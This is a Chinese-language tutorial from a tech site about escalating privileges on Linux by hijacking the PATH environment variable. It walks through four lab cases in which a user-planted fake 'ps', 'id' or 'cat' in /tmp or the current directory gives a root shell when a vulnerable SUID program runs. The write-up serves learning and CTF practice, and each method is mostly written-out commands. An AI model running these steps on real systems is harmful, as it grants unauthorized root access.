0
  • 聊天消息
  • 系統(tǒng)消息
  • 評(píng)論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫(xiě)文章/發(fā)帖/加入社區(qū)
會(huì)員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識(shí)你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

如何使用環(huán)境變量進(jìn)行Linux提權(quán)的方法詳細(xì)資料概述

馬哥Linux運(yùn)維 ? 來(lái)源:未知 ? 作者:易水寒 ? 2018-07-05 09:50 ? 次閱讀

在這篇文章中,我將會(huì)為大家介紹一些使用環(huán)境變量進(jìn)行Linux提權(quán)的方法,包括在CTF challenges中使用到一些的技術(shù)。話不多說(shuō),讓我們進(jìn)入正題!

介紹

PATH是Linux和類(lèi)Unix操作系統(tǒng)中的環(huán)境變量,它指定存儲(chǔ)可執(zhí)行程序的所有bin和sbin目錄。當(dāng)用戶(hù)在終端上執(zhí)行任何命令時(shí),它會(huì)通過(guò)PATH變量來(lái)響應(yīng)用戶(hù)執(zhí)行的命令,并向shell發(fā)送請(qǐng)求以搜索可執(zhí)行文件。超級(jí)用戶(hù)通常還具有/sbin和/usr/sbin條目,以便于系統(tǒng)管理命令的執(zhí)行。

使用echo命令顯示當(dāng)前PATH環(huán)境變量:

echo $PATH

/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

如果你在PATH變量中看到‘.’,則意味著登錄用戶(hù)可以從當(dāng)前目錄執(zhí)行二進(jìn)制文件/腳本,這對(duì)于攻擊者而言也是一個(gè)提權(quán)的絕好機(jī)會(huì)。這里之所以沒(méi)有指定程序的完整路徑,往往是因?yàn)榫帉?xiě)程序時(shí)的疏忽造成的。

方法1

Ubuntu LAB SET_UP

當(dāng)前,我們位于/home/raj目錄,我們將在其中創(chuàng)建一個(gè)名為/script的新目錄。在script目錄下,我們將編寫(xiě)一個(gè)小型的c程序來(lái)調(diào)用系統(tǒng)二進(jìn)制文件的函數(shù)。

pwdmkdir scriptcd /scriptnano demo.c

如何使用環(huán)境變量進(jìn)行Linux提權(quán)的方法詳細(xì)資料概述

正如你在demo.c文件中看到的,我們正在調(diào)用ps命令。

然后使用gcc編譯demo.c文件,并提升編譯文件的SUID權(quán)限。

lsgcc demo.c -o shellchmod u+s shellls -la shell

受害者VM機(jī)器

假設(shè)我們已經(jīng)成功滲透目標(biāo),并進(jìn)入提權(quán)階段。我們通過(guò)ssh成功登錄到了受害者的機(jī)器。然后使用Find命令,搜索具有SUID或4000權(quán)限的文件。

find / -perm -u=s -type f 2>/dev/null

通過(guò)上述命令,攻擊者可以枚舉出目標(biāo)系統(tǒng)上所有的可執(zhí)行文件,這里可以看到/home/raj/script/shell具有SUID權(quán)限。

進(jìn)入到/home/raj/script目錄,可以看到該目錄下有一個(gè)可執(zhí)行的“shell”文件,我們運(yùn)行這個(gè)文件。

/home/raj/script

Echo命令

cd /tmpecho “/bin/sh” > pschmod 777 psecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./shellwhoami

Copy命令

cd /home/raj/script/cp /bin/sh /tmp/psecho $PATHexport PATH=/tmp:$PATH./shellwhoami

Symlink命令

ln -s /bin/sh psexport PATH=.:$PATH./shellidwhoami

注意:符號(hào)鏈接也叫軟鏈接,如果目錄具有完全權(quán)限,則它將成功運(yùn)行。在Ubuntu中symlink情況下,我們已經(jīng)賦予了/script目錄777的權(quán)限。

因此,攻擊者可以操縱環(huán)境變量PATH來(lái)進(jìn)行提權(quán),并獲得root訪問(wèn)權(quán)限。

方法2

Ubuntu LAB SET_UP

重復(fù)上述步驟配置你的實(shí)驗(yàn)環(huán)境,現(xiàn)在在腳本目錄中,我們將編寫(xiě)一個(gè)小型的c程序來(lái)調(diào)用系統(tǒng)二進(jìn)制文件的函數(shù)。

pwdmkdir scriptcd /scriptnano demo.c

正如你在demo.c文件中看到的,我們正在調(diào)用id命令。

然后使用gcc編譯demo.c文件,并提升編譯文件的SUID權(quán)限。

lsgcc demo.c -o shell2chmod u+s shell2ls -la shell2

受害者VM機(jī)器

同樣,假設(shè)我們已經(jīng)成功滲透目標(biāo),并進(jìn)入提權(quán)階段。我們通過(guò)ssh成功登錄到了受害者的機(jī)器。然后使用Find命令,搜索具有SUID或4000權(quán)限的文件。在這里,我們可以看到/home/raj/script/shell2具有SUID權(quán)限。

find / -perm -u=s -type f 2>/dev/null

進(jìn)入到/home/raj/script目錄,可以看到該目錄下有一個(gè)可執(zhí)行的“shell2”文件,我們運(yùn)行這個(gè)文件。

cd /home/raj/scriptls./shell2

Echo命令

cd /tmpecho “/bin/sh” > idchmod 777 idecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./shell2whoami

方法3

Ubuntu LAB SET_UP

重復(fù)上述步驟配置你的實(shí)驗(yàn)環(huán)境。正如你在demo.c文件中看到的,我們正在調(diào)用cat命令從etc/passwd文件中讀取內(nèi)容。

然后使用gcc編譯demo.c文件,并提升編譯文件的SUID權(quán)限。

lsgcc demo.c -o rajchmod u+s rajls -la raj

受害者VM機(jī)器

同樣,假設(shè)我們已經(jīng)成功滲透目標(biāo),并進(jìn)入提權(quán)階段,通過(guò)執(zhí)行以下命令查看sudo用戶(hù)列表。

find / -perm -u=s -type f 2>/dev/null

在這里,我們可以看到/home/raj/script/raj具有SUID權(quán)限,進(jìn)入到home/raj/script/目錄,可以看到該目錄下有一個(gè)可執(zhí)行的“raj”文件。所以當(dāng)我們運(yùn)行這個(gè)文件時(shí),它會(huì)把etc/passwd文件作為輸出結(jié)果。

cd /home/raj/script/ls./raj

Nano**編輯器**

cd /tmpnano cat

現(xiàn)在,當(dāng)終端打開(kāi)時(shí)輸入/bin/bash并保存。

chmod 777 catls -al catecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./rajwhoami

方法4

Ubuntu LAB SET_UP

重復(fù)上述步驟配置你的實(shí)驗(yàn)環(huán)境。正如你在demo.c文件中看到的,我們正在調(diào)用cat命令讀取/home/raj中的msg.txt中的內(nèi)容,但/home/raj中并沒(méi)有這樣的文件。

然后使用gcc編譯demo.c文件,并提升編譯文件的SUID權(quán)限。

lsgcc demo.c -o ignitechmod u+s ignitels -la ignite

受害者VM機(jī)器

同樣,假設(shè)我們已經(jīng)成功滲透目標(biāo),并進(jìn)入提權(quán)階段,通過(guò)執(zhí)行以下命令查看sudo用戶(hù)列表

find / -perm -u=s -type f 2>/dev/null

在這里,我們可以看到/home/raj/script/ignite具有SUID權(quán)限,進(jìn)入到/home/raj/script目錄,可以看到該目錄下有一個(gè)可執(zhí)行的“ignite”文件。所以當(dāng)我們運(yùn)行這個(gè)文件時(shí),它會(huì)報(bào)錯(cuò)“cat: /home/raj/msg.txt”文件或目錄不存在。

cd /home/raj/scriptls./ignite

Vi編輯器

cd /tmpvi cat

現(xiàn)在,當(dāng)終端打開(kāi)時(shí)輸入/bin/bash并保存。

chmod 777 catls -al catecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./ignitewhoami

如何使用環(huán)境變量進(jìn)行Linux提權(quán)的方法詳細(xì)資料概述

聲明:本文內(nèi)容及配圖由入駐作者撰寫(xiě)或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點(diǎn)僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場(chǎng)。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問(wèn)題,請(qǐng)聯(lián)系本站處理。 舉報(bào)投訴
  • Linux
    +關(guān)注

    關(guān)注

    87

    文章

    11304

    瀏覽量

    209521
  • UNIX
    +關(guān)注

    關(guān)注

    0

    文章

    296

    瀏覽量

    41491
  • ECHO
    +關(guān)注

    關(guān)注

    1

    文章

    73

    瀏覽量

    27167

原文標(biāo)題:黑客的Linux神技能:使用環(huán)境變量進(jìn)行提權(quán)

文章出處:【微信號(hào):magedu-Linux,微信公眾號(hào):馬哥Linux運(yùn)維】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。

收藏 人收藏

    評(píng)論

    相關(guān)推薦

    USB 一線通監(jiān)控副屏

    環(huán)境搭建環(huán)境變量配置為了提高一些編譯的速度,選擇了在Linux系統(tǒng)下進(jìn)行開(kāi)發(fā),在Linux上開(kāi)發(fā)N947需要先安裝e
    的頭像 發(fā)表于 12-07 01:10 ?149次閱讀
    USB 一線通監(jiān)控副屏

    Linux環(huán)境變量配置方法

    Linux環(huán)境變量配置分為設(shè)置永久變量和臨時(shí)變量兩種。環(huán)境變量設(shè)置方法同時(shí)要考慮
    的頭像 發(fā)表于 10-23 13:39 ?171次閱讀

    Xilinx設(shè)計(jì)工具怎么設(shè)置環(huán)境變量

    如果您不確定如何設(shè)置環(huán)境變量,嘗試"1" 或 "TRUE"。
    的頭像 發(fā)表于 10-22 13:32 ?203次閱讀

    請(qǐng)問(wèn)ENV設(shè)置環(huán)境變量怎么保存?

    我按照手冊(cè)設(shè)置好了環(huán)境變量 可是如果重啟一下env窗口 剛剛設(shè)置的又清掉了 請(qǐng)問(wèn)下有沒(méi)有人知道怎么保存這個(gè)環(huán)境變量
    發(fā)表于 07-09 06:24

    utuntu環(huán)境下,ESP32和ESP8266設(shè)置環(huán)境變量時(shí)有沖突,怎樣兼容呢?

    ubuntu環(huán)境下,ESP32和ESP8266同時(shí)開(kāi)發(fā),設(shè)置環(huán)境變量PATH時(shí)遇到疑問(wèn),如下: export PATH=\"$HOME/esp/xtensa-esp32-elf/bin
    發(fā)表于 06-28 11:10

    esp32如何設(shè)置OPENOCD_SCRIPTS這個(gè)環(huán)境變量的值?

    esp32需要設(shè)置OPENOCD_SCRIPTS這個(gè)環(huán)境變量的值,但是設(shè)置之后會(huì)影響stm32使用openocd的調(diào)試,有什么好的辦法處理嗎?
    發(fā)表于 06-18 08:07

    鴻蒙開(kāi)發(fā):訂閱系統(tǒng)環(huán)境變量的變化

    系統(tǒng)環(huán)境變量是指:在應(yīng)用程序運(yùn)行期間,終端設(shè)備的系統(tǒng)設(shè)置(例如系統(tǒng)的語(yǔ)言環(huán)境、屏幕方向等)發(fā)生變化。
    的頭像 發(fā)表于 06-11 21:56 ?292次閱讀
    鴻蒙開(kāi)發(fā):訂閱系統(tǒng)<b class='flag-5'>環(huán)境變量</b>的變化

    嵌入式學(xué)習(xí)-飛凌嵌入式ElfBoard ELF 1板卡-交叉編譯鏈描述及使用方法

    1.交叉編譯鏈:arm-poky-linux-gnueabi 2.默認(rèn)安裝路徑:/opt/fsl-imx-x11/4.1.15-2.0.0 3.設(shè)置環(huán)境變量的命令:. /opt
    發(fā)表于 05-20 16:55

    飛凌嵌入式ElfBoard ELF 1板卡-交叉編譯鏈描述及使用方法

    1.交叉編譯鏈:arm-poky-linux-gnueabi 2.默認(rèn)安裝路徑:/opt/fsl-imx-x11/4.1.15-2.0.0 3.設(shè)置環(huán)境變量的命令:. /opt
    發(fā)表于 05-20 16:53

    兩種linux系統(tǒng)下常見(jiàn)的HOOK方法

    Linux提供了一個(gè)名為L(zhǎng)D_PRELOAD的環(huán)境變量。這個(gè)環(huán)境變量允許用戶(hù)指定一個(gè)或多個(gè)共享鏈接庫(kù)文件的路徑。當(dāng)程序啟動(dòng)時(shí),動(dòng)態(tài)加載器會(huì)在加載C語(yǔ)言運(yùn)行庫(kù)之前,首先加載LD_PRELOAD所指定的共享鏈接庫(kù)。這種加載方式被稱(chēng)為
    發(fā)表于 04-08 11:26 ?4175次閱讀
    兩種<b class='flag-5'>linux</b>系統(tǒng)下常見(jiàn)的HOOK<b class='flag-5'>方法</b>

    【LicheeRV-Nano開(kāi)發(fā)套件試用體驗(yàn)】基礎(chǔ)開(kāi)發(fā)環(huán)境

    /17時(shí)候各官方庫(kù)公布的最新版本是一樣的。下載時(shí)候記得看看版本公布時(shí)間。 官方默認(rèn)固件使用的gcc host版本為riscv64-unknown-linux-musl 對(duì)于部分不認(rèn)基礎(chǔ)環(huán)境變量的庫(kù)
    發(fā)表于 03-18 00:12

    linux命令概述

    電子發(fā)燒友網(wǎng)站提供《linux命令概述.pdf》資料免費(fèi)下載
    發(fā)表于 03-11 09:18 ?3次下載

    Linux系統(tǒng)中設(shè)置環(huán)境變量方法和技巧

    Linux環(huán)境變量是一種保存有關(guān)系統(tǒng)環(huán)境配置的信息的對(duì)象。它們被廣泛用于存儲(chǔ)有關(guān)系統(tǒng)操作的信息比如路徑、文件名等。通過(guò)合理配置環(huán)境變量我們可以方便地訪問(wèn)和執(zhí)行各種命令和程序。
    的頭像 發(fā)表于 02-01 11:09 ?1697次閱讀
    <b class='flag-5'>Linux</b>系統(tǒng)中設(shè)置<b class='flag-5'>環(huán)境變量</b>的<b class='flag-5'>方法</b>和技巧

    嵌入式學(xué)習(xí)-ElfBoard ELF 1板卡-配置環(huán)境變量永久生效的方法

    手冊(cè)中提供的配置環(huán)境變量方法僅臨時(shí)生效,如果出現(xiàn)更換終端的情況,需要重新配置環(huán)境變量,這樣就比較麻煩。下面提供一種配置環(huán)境變量永久生效的方法
    發(fā)表于 01-17 15:19

    Linux環(huán)境變量配置方法

    想必大家平時(shí)工作中也會(huì)配置Linux環(huán)境變量,但是可能也僅僅是為解決某些工具的運(yùn)行環(huán)境,對(duì)于Linux環(huán)境變量本身的配置學(xué)問(wèn)還沒(méi)深入了解。
    的頭像 發(fā)表于 01-04 09:51 ?546次閱讀